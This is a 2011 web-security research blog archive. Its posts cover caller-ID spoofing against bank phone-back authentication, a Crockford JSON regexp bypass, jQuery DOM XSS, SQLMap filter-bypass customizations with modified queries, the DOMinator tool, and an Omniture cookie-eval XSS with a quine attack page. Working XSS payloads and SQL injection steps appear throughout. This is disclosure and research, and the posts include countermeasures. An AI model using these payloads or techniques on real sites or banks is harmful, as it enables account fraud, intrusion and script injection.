Wednesday, August 31, 2011

Unbelievable hacks: Money Transferring with Caller Id Spoofing

Everyone in the security industry easily remembers Kevin Mitnick during his Art of Deception tour, where he showed how to call somebody else displaying a fake incoming phone-number on the receiver’s phone. In that case the phone number of the president of the United States. This is "Caller Id Spoofing" (Kevin Mitnick at CNBC).

Presented by Kevin as a strong weapon in Social Engineering attacks, we discuss it here as a way to bypass authentication checks during money transfer. People usually laugh of nice tricks, but not when the subject is their money.

Phone Call authentication is an emerging way of authenticating money transfers or other types of disposal operations. This particular authentication method has the great advantage of posing zero costs for the organization and for the individuals. In fact as soon as the call is received by the bank, the call is dropped without charging the calling card.

When a customer call the dynamic phone number for authentication too often the only information that is checked is the Caller Id. The standard incoming caller identifier is the information that is displayed on the mobile phone of the phone call receiver.

This set of information can be dangerously used to identify the user that is authenticating a particular transaction. I say dangerously, because the caller id is very prone to tampering as showed several years ago in the workshop “Phreaking in the age of Voice Over Ip”:

Before we start the questions we need to answer are:

1) Is caller ID Spoofing still alive?
2) Does it work in our country? (ex. Italy for us)
3) Is it enough for performing an Identity Spoofing attempt and to breaking authorization security?

Is caller ID Spoofing still alive? To answer the first question, we can say that phone operators are very based on legacy systems. SS7 standard is still adopted and valid, as the calling rules are pretty much the same that were in use at the time that “Lucky 225” was presenting. So yes, Caller Id spoofing is still a valid attack.

Does it work in our country? Unbelievably Yes. Phone operators use to blacklist malicious operators that were known to perform Caller Id Spoofing attacks. This means that it’s possible for an attacker to find a valid voip provider that is not blacklisted to put into place a successful Caller Id Spoofing attack.

Is it enough for breaking authorization security? It Depends. The bank should badly rely only on Caller Id verification which is not a best practice. Caller Id as demonstrated below can be arbitrarily modified, so more information should be requested to correctly identify the customer.

How many banks rely only on Caller ID for the security of their Phone Back authentication system? We do not have precise statistics for Europe, but we tested it against 2 banks and both were vulnerable to this attack.

How the attack works

Imagine that at the time of authorizing your wire transfer your online bank will print the following information on your screen:


At this time if the attacker knows the phone number associated to the customer bank account can place a phone call with a spoofed caller id.

Voip Services offer the possibility to setup your Asterisk voip central and to route call defining your custom caller id.

Normally an attacker should:

1) Have his own virtual server, possibly in the country where the VOIP service is rented
2) Rent a VOIP service that permits to specify an arbitrary caller ID which is not blacklisted by your country Phone operator

However Google helps in finding ready setups as a “pay per go” service.


The following is an example of the service which permits to spoof phone Cal Ids also in Europe and Italy.


To be honest, this search took some time, because a very limited number of “Phone Spoofing” services permit to place phone calls across Europe. Whereas in the United States Caller Id spoofing is somehow tolerated, in Europe is completely illegal.

This service can also be made totally anonymous using Skype and calling directly the Service Phone Number:


A Female voice will ask to enter your user ID, the Number to Call and The Fake User ID


Conclusion

Phone Back authentication systems should be tested against Caller Id Spoofing, because this attack is going to be easier and easier in the future. Caller Id authentication is not secure, other information should be used for securing the transaction, unless a secure handshake is put into place.

Monday, August 22, 2011

Ye Olde Crockford JSON regexp is Bypassable

Introduction

While doing some test with DOMinator I found several sites and applications using the following JSON parse routine:

function jsonParse(string, secure) {
if (secure &&
!/^[,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]*$/.test(string.replace(/\\./g, "@").replace(/"[^"\\\n\r]*"/g, ""))) {
return null;
}
return eval("(" + string + ")");
}

or similar.
It turned out that eval function can be reached on IE and execute arbitrary javascript code.
Suppose, in fact, that the JSON String comes from a source like location.hash and consider the following code:

jsonParse(location.hash.slice(1),true);

So far, it was considered safe and, in fact, several javascript libraries use it.

Regexp Analysis

By looking at the regexp, it can be noted that the following string is considered valid:

jsonParse('a')

because of the Eaeflnr-u part with no quotes.

This means that even if the string does not represent a JSON Object it'll be eval'ed.

Once found this behavior, it's important to find window objects that match the regexp.
I did it by executing the following code:

for(var aa in window)
if( aa.match(/^[,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]*$/))
console.log(""+aa)

Which resulted in the following window objects:
  • self
  • status
Hence is possible to reference self["anyobject"]["anyotherobject"] in the eval.

Exploiting JSON Bypass

What's been described so far, shows that, depending on how that result is used, it will be potentially possible to change the flow of inner javascript.

There is more fun if the victim uses Internet Explorer.
According to the wonderful Sirdarckcat and ThornMaker research on Internet Explorer is possible to execute arbitrary JavaScript using the following code:

+{ valueOf: location,
toString: [].join,
0: 'payload',
length: 1
}

So, considering that self object can be used, the following string will be treated as a valid JSON payload:

+{ "valueOf": self["location"],
"toString": []["join"],
0: "javascript:alert(1)",
length: 1
}

This payload bypasses the old Crockford's regexp and will lead to arbitrary JavaScript execution.

Countermeasures and fix

The new json.js uses a brand new regexp which "should" be safe, however it's always better to use json_parse.js which doesn't use eval.

Finally, consider that, even if the JSON parser will work as expected, the attributes and values are not validated so don't trust them!

P.S.
This post doesn't mean that Firefox or other browsers are not exploitable. It's just a matter of time to find some working vector. So if you find it and want to share, leave a comment!

Thursday, July 28, 2011

jQuery is a Sink!

What's a Sink in Application Security?
A sink can be described as a function or method that is potentially dangerous when it's (unexpectedly) called or if one of its arguments, coming from an untrusted input, is not correctly escaped according to the layer the function is going to communicate to.

The jQuery Sink
Suppose we have the following code:
var aVar=location.hash;
jQuery(aVar);

By looking at the DOMinator output, you'll see something like the following:

That means the jQuery, or its alias '$', method is trying to understand if hash contains some tags. In particular part of the JavaScript stack trace will be similar to the following:

4 14:44:40.306 :[ http://host/jQueryTest.html#aaaaa ]
Target: [ exec(^(?:[^<]*(<[\w\W]+>)[^>]*$|#([\w\-]+)$)) CallCount: 1 ]
Data:
+ #aaaaaa
http://host/jquery-1.4.3
,Line:19
,1: function (selector, context) {
2: var match, elem, ret, doc;
3: if (!selector) {
4: return this;
5: }
6: if (selector.nodeType) {
7: this.context = this[0] = selector;
8: this.length = 1;
9: return this;
10: }
11: if (selector === "body" && !context && document.body) {
12: this.context = document;
13: this[0] = document.body;
14: this.selector = "body";
15: this.length = 1;
16: return this;
17: }
18: if (typeof selector === "string") {
19: match = quickExpr.exec(selector);
20: if (match && (match[1] || !context)) {
21: if (match[1])
...


So, by trying to put #<img/src/onerror=alert(1)> in the hash part, we'll see the following alert on DOMinator:
12 14:44:40.364 :[ http://host/jQueryTest.html ]
Target: [ DIV.innerHTML CallCount: 1 ]
Data:
+ <img src="" onerror="alert(1)" />
+ Stack Trace
http://host/jquery-1.4.3
,Line:20
,1: function (elems, context, fragment, scripts) {
2: context = context || document;
3: if (typeof context.createElement === "undefined") {
4: context = context.ownerDocument ||
5: context[0] && context[0].ownerDocument || document;
6: }
7: var ret = [];
8: for (var i = 0, elem; (elem = elems[i]) != null; i++) {
9: if (typeof elem === "number") {
10: elem += "";
11: }
12: if (!elem) {
13: continue;
14: }
15: if (typeof elem === "string" && !rhtml.test(elem)) {
16: elem = context.createTextNode(elem);
17: } else if (typeof elem === "string") {
18: elem = elem.replace(rxhtmlTag, "<$1>");
19: var tag = (rtagName.exec(elem) || ["", ""])[1].toLowerCase(), wrap = wrapMap[tag] || wrapMap._default, depth = wrap[0], div = context.createElement("div");
20: div.innerHTML = wrap[1] + elem + wrap[2];
21: while (depth--) {
22: div = div.lastChild;
23: }
.....

Which means that if the arguments of jQuery contains some kind of tag it'll be rendered using innerHTML, resulting in a potential DOM Based Xss.

Countermeasures
If you have to use some untrusted input, Data Validation and Output encoding should be performed before using it as a jQuery argument.

Wednesday, July 6, 2011

Athcon 2011 - Presentation

Athcon conference was really good and I had a wonderful time there.

My presentation was about Enterprise Sharing Portal (e.g. Microsoft Sharepoint, J2ee Liferay Portal) and the bad practice to not securing them enough before exposing them to the public. Unfortunately this ugly scenario is very frequent also for Sharepoint and Liferay portals which are exposed to the internet.

And more important, more and more frequently, Sharing Portals are the frameworks (that YOU ARE NOT aware of) that run your internet website! ... and they could even bridge external attacks to the Intranet

You can find it here:

http://www.mindedsecurity.com/fileshare/Fedon_Athcon_June11.pdf

Saturday, May 28, 2011

Customizing SQLMap to bypass weak (but effective) input filters

SQLMap is the most flexible Sql injection tool I have ever seen: written in python, opensource and fully customizable. Many times during penetration testing activities you will face the need to customize SQLMap.

In the following example the tool is not able to extract any data in it's default configuration since the application is filtering some particular characters.

Let's consider the following URL, where "id" parameter is known to the tester to be vulnerable. Website Url vulnerable to SQL injection:
https://www.bank.ok/injection.aspx?id=1%2b1


Codebehind in "injection.aspx.vb":
-------
string id = Request.Get("id")
id =
id.Replace("'","").Replace('"',''),Replace('<','').Replace('>','').Replace('=','')
Sql.execute("SELECT * FROM articles where article_id =" + id)
-------
Problem:

Even if data validation is not neat, it limits for sure standard pentesting tools. As we can see from SQLMap logs, bisection algorithm cannot work if the ">" character is filtered. In addition initial checks will not be able to discover that "id" parameter is injectable.

For example the following request will fail:
./sqlmap.py -u "https://www.bank.ok/injection.aspx?id=5" -p "id" --dbs
--dbms=mssql --string="This article is about politics"

Output: Error!

Solution:

To customize SqlMap for our purposes we need to accomplish 3 steps:
1) Disable all internal checks that are performed to see if a parameter
is injectable;
2) Tune Database checks;
3) Rewrite blind queries without filtered chars (in this case "<", ">"
and "=" );


1) To disable initial checks if you already know that a parameter is injectable, locate the following file in SQLMap tree: sqlmap/lib/controller/checks.py

This addition makes SQLmap skipping the control for checking if the
parameter is injectable or not. Since we already know that the parameter is injectable, we make SQLmap skip this check.

Added the following line at line "98"
-> return "numeric"

After that is important to skip database check:
2) Locate file: sqlmap/plugins/dbms/mssqlserver.py

After checking if the parameter is injectable, SQL map checks if the database is correct
or not. For Example if we already know that the database is MSSQL because of the "convert()" check.

We can skip this check as well:

Modified the following line at line "233"
else:
setDbms("Microsoft SQL Server")
self.getBanner()
kb.os = "Windows"
return True

3) To rewrite the logic behind inference, locate the following file
File: sqlmap/xml/queries.xml
In the following scenario I have rewritten Queries for MSSQL Server.

In particular "=" character sobstituted with "like" operator and changed ">" comparison via "between ... and", since the application filters the following chatacter set: = (equal
sign), < (left angle bracket),> (right angle bracket), " (double quote) and ' (single quote).



<inference query="+ CASE WHEN (ASCII(SUBSTRING((%s), %d, 1))) BETWEEN

%d+1 AND 500

THEN 0 ELSE 1 END--"/>

...

<blind query="SELECT %s..syscolumns.name FROM %s..syscolumns, %s..sysobjects
WHERE %s..syscolumns.id LIKE %s..sysobjects.id AND %s..sysobjects.name
LIKE '%s'"
query2="SELECT TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns,
%s..sysobjects WHERE
%s..syscolumns.name LIKE '%s' AND %s..syscolumns.id LIKE
%s..sysobjects.id AND
%s..sysobjects.name LIKE '%s'" count="SELECT LTRIM(STR(COUNT(name)))
FROM %s..syscolumns
WHERE id LIKE (SELECT id FROM %s..sysobjects WHERE name LIKE '%s')"
condition="[DB]..syscolumns.name"/>


The following command will now work. It will skip parameter injection test and will perform blind queries without using the filtered characters:

Command:

./sqlmap.py -u "https://www.bank.ok/injection.aspx?id=5" -p "id" --dbs

--dbms=mssql --string="This article is about politics"


Databases:

[1 entry]
+----------+
| Politics |
+----------+

Wednesday, May 18, 2011

The DOMinator Project

Update : DOMinator goes Pro and is now available at the following here

Finally DOMinator is public!


What is DOMinator?
DOMinator is a Firefox based software for analysis and identification of DOM Based Cross Site Scripting issues (DOMXss).
It is the first runtime tool which can help security testers to identify DOMXss.

How it works?

It uses dynamic runtime tainting model on strings and can trace back taint propagation operations in order to understand if a DOMXss vulnerability is actually exploitable.

You can have an introduction about the implementation flow and some interface description here

What are the possibilities?

In the topics of DOMXss possibilities are quite infinite.
At the moment DOMinator can help in identifying reflected DOM Based Xss, but there is potential to extend it to stored DOMXss analysis.

Download

Start from the installation instructions then have a look at the video.
Use the issues page to post about problems crashes or whatever.
And finally subscribe to the DOMinator Mailing List to get live news.

Video
A video has been uploaded here to show how it works.
Here's the video:


Soon I'll post more tutorials about the community version.


Some stats about DOM Xss

We downloaded top Alexa 1 million sites and analyzed the first 100 in order to verify the presence of exploitable DOM Based Cross Site Scripting vulnerabilities.
Using DOMinator we found that 56 out of 100 (56% of sites) were vulnerable to reliable DOMXss attacks.
Some analysis example can be found here and here.
We'll release a white paper about this research, in the meantime you can try to reach our results using DOMinator.

Future work

DOMinator is still in beta stage but I see a lot of potential in this project.
For example I can think about:
  • Dominator library (Spidermonkey) used in web security scanners project
  • for automated batch testing.
  • Logging can be saved in a DB and lately analyzed.
  • Per page testing using Selenium/iMacros.
  • A version of DOMinator for xulrunner.
  • A lot more
It only depends on how many people will help me in improving it.

So, if you're interested in contributing in the code (or in funding the project) let me know, I'll add you to the project contributors.
We have some commercial ideas about developing a more usable interface with our knowledge base but we can assure you that the community version will always be open and free.

In the next few days I'll release a whitepaper about DOMinator describing the implementation choices and the technical details.

Stay tuned for more information about DOMinator..the best is yet to come.

Acknowledgements
DOMinator is a project sponsored by Minded Security, created and maintainted by me (Stefano Di Paola).
I al want to thank Arshan Dabirsiaghi (Aspect Security), Gareth Heyes and Luca Carettoni (Matasano) for their feedback on the pre-pre-beta version :)

Finally, feel free to follow DOMinator news on Twitter as well by subscribing to @WisecWisec and @DOMXss.

Friday, April 29, 2011

God Save The (Omniture) Quine

Some weeks ago, while testing a website hosted by a client of ours with DOMinator, I found that an Omniture Catalyst plugin called crossVisitParticipation used an eval on a cookie value.
It was a typical 'eval(cookieValue)' which is bad from a security perspective, but there is
something more interesting which made me think to write a post about it, since the attack vector was kind of advanced and the model here is different from "traditional" mashups.
In fact in the Omniture case, companies have to save an auto generated JS and host it on their own websites.
This means updates are directly tied to a local site administration policy, and no real time update is possible.

Long story short, I found out it's possible for some versions of crossVisitParticipation plugin
to overwrite the cookie in a way it's possible to let the eval do whatever an attacker
wants abusing the query string.
Let's have a look at the vulnerable code:

// function crossVisitParticipation
1: function anonymous(v, cn, ex, ct, dl, ev) {
2: var s = this;
3: var ay = s.split(ev, ",");
4: for (var u = 0; u < ay.length; u++) {
5: if (s.events && s.events.indexOf(ay[u]) != -1) {
6: s.c_w(cn, "");
7: return "";
8: }
9: }
10: if (!v || v == "") {
11: return "";
12: }
13: var arry = new Array;
14: var a = new Array;
15: var c = s.c_r(cn);
16: var g = 0;
17: var h = new Array;
18: if (c && c != "") {
19: arry = eval(c); // Sink Here from Cookie Value!!
20: }
21: var e = new Date;
22: e.setFullYear(e.getFullYear() + 5);
23: if (arry.length > 0 && arry[arry.length - 1][0] == v) {
24: arry[arry.length - 1] = [v, (new Date).getTime()];
25: } else {
26: arry[arry.length] = [v, (new Date).getTime()];
27: }
28: var data = s.join(arry, {delim: ",", front: "[", back: "]", wrap: "'"});
29: var start = arry.length - ct < 0 ? 0 : arry.length - ct;
30: s.c_w(cn, data, e); // after eval'ed it's rewritten in form of cookie.
31: for (var x = start; x < arry.length; x++) {
32: var diff = Math.round(new Date - new Date(parseInt(arry[x][1]))) / 86400000; 33: if (diff < ex) {
34: h[g] = arry[x][0];
35: a[g++] = arry[x];
36: }
37: }
38: var r = s.join(h, {delim: dl});
39: return r;
40: }

which is called from another method:

if(!b.campaign){
b.campaign=b.getQueryParam("cid");
b.campaign=b.getValOnce(b.campaign,"ecamp",0)
}
b.eVar14=b.crossVisitParticipation(b.campaign,"s_cpm","90","5",">","purchase");

Even if, by digging into all versions, I found that only crossVisitParticipation plugin version <1.4 seems to be directly exploitable from the query string, I also found that some big sites in top 100k Alexa are still vulnerable.
That said, from my (app sec researcher) point of view I can see something interesting, which is the attack vector.
Easily, an attacker could use a simple one time injection like the following:

//The correct parameter depends on the Omniture user, so let's suppose as seen in the code "cid" parameter is the one:
http://omnitureClientHost/?#cid=aa'+alert(1)+'

but since the cookie is rewritten (Line 30) using the eval'ed object the attacker would loose the payload. So we can actually create something that after it's eval'ed it'll be he same, also called a (Javascript) Quine.
My favourite source is sla.ckers.org, and a wonderful quine thread is here. So I just needed to understand the principles of Js Quines and I finally made a working one for this specific case.
In the Omniture case an attacker needs to add the quine in the cookie and then force the eval using a new value for the cid:

<script>
function go(){

var if2=document.getElementById("x2");
if2.onload=go2
if2.src="http://xxx/?&#&cid=143'+(_=/[,\"'+(_=\"+_+_(_,alert(document.domain)))+']+/,\"'+(_=\"+_+_(_,alert(document.domain)))+'sss&aa=ddddeee"
}
function go2(){
var if2=document.getElementById("x");
if2.src="http://xxx/?&cid=143"+Math.random()
}
</script>
<body onload='go()'>
<iframe id='x' src="about:blank"></iframe>
<iframe id='x2' src="about:blank" ></iframe>


The attack vector will be firstly executed and then rewritten each time as it is as each quine should do.
So every time the victim will visit the vulnerable site with a new cid the Xss will be triggered.

As a side note we can see in the Omniture code, line 24, that the value of b.campaign is directly added to the cookie;
versions >=1.4 use v=escape(v) which blocks any direct attack from the query string.

BTW, this issue was found using my next to release tool DOMinator - DOMXss finder.
Stay tuned for news about it.


PS. I know is not really clear for faint of heart JS DOM Xss noobs, but sites out there are still vulnerable, sooo..keep researching and you'll discover the magic of this brand new DOMXss world.

PPS. Tom Keetch (@tkeetch) publicly released an advisory
concerning an Omniture attack using Cookie Forcing
by Chris Evans (@scarybeasts).
This attack can be achieved in Man in the Middle or shared browser Kiosk situations.
My research is mostly focused to remotely exploitable stuff, but in this case the quine can be, obviously, applied to this as well, so kudos to Tom and Chris for finding this, doable even if less reliable, attack scenario.

PPPS. Adobe Omniture released a new version (1.7) of the plugin which should mitigate any attack against it, so you're invited to upgrade it. And, please, start thinking about 3rd party JS as worth of risk identification.